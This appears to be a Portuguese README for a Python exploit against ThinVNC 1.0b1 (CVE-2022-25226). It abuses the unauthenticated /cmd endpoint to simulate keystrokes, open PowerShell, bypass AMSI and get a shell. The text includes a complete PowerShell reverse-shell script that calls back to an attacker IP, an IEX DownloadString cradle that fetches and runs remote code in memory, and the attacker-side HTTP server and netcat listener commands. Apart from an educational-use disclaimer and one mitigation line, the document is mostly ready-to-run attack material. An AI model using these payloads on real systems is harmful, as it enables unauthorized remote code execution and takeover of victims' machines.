
Script de exploração em Python para bypass de autenticação no ThinVNC 1.0b1 (CVE-2022-25226) que combina acesso não autenticado ao endpoint /cmd com bypass de AMSI e injeção de área de transferência para entregar uma reverse shell.
Autor: krill-x7
Referência: https://fluidattacks.com/advisories/sinatra
O ThinVNC 1.0b1 contém uma vulnerabilidade de contorno de autenticação (CVE-2022-25226) que permite a atacantes remotos interagir com o backend sem autenticação. Ao aproveitar os endpoints /cmd expostos, os atacantes podem simular pressionamentos de teclas, abrir o PowerShell, contornar o AMSI e executar comandos arbitrários—levando, em última instância, à Execução Remota de Código (RCE).
Este script encadeia essas primitivas para obter um reverse shell no sistema alvo.
Este código é fornecido apenas para fins educacionais.
Use-o somente em sistemas que você possui ou para os quais você está explicitamente autorizado a testar.
rev.ps1 hospedado na sua máquina atacantepython3 thinvnc_rce.py -t <TARGET_IP> -tp <TARGET_PORT> -a <ATTACKER_IP> -ap <ATTACKER_PORT>
python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000
rev.ps1Salve isto em um arquivo chamado rev.ps1.
Importante: Substitua 192.168.1.200 e 8000 pelo IP do seu atacante e porta de escuta.
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()
rev.ps1A partir do mesmo diretório:
python3 -m http.server 8000
nc -lvnp 8000
/cmd?cmd=connect./cmd?cmd=start.Ctrl+Esc para abrir o menu Iniciar.Este é o payload que é executado em memória:
IEX((New-Object System.Net.WebClient).DownloadString('http://<ATTACKER_IP>:<PORT>/rev.ps1'))
Substitua <ATTACKER_IP> e <PORT> pelo seu IP e porta reais.
/cmd por meio da configuração do servidor web ou WAF.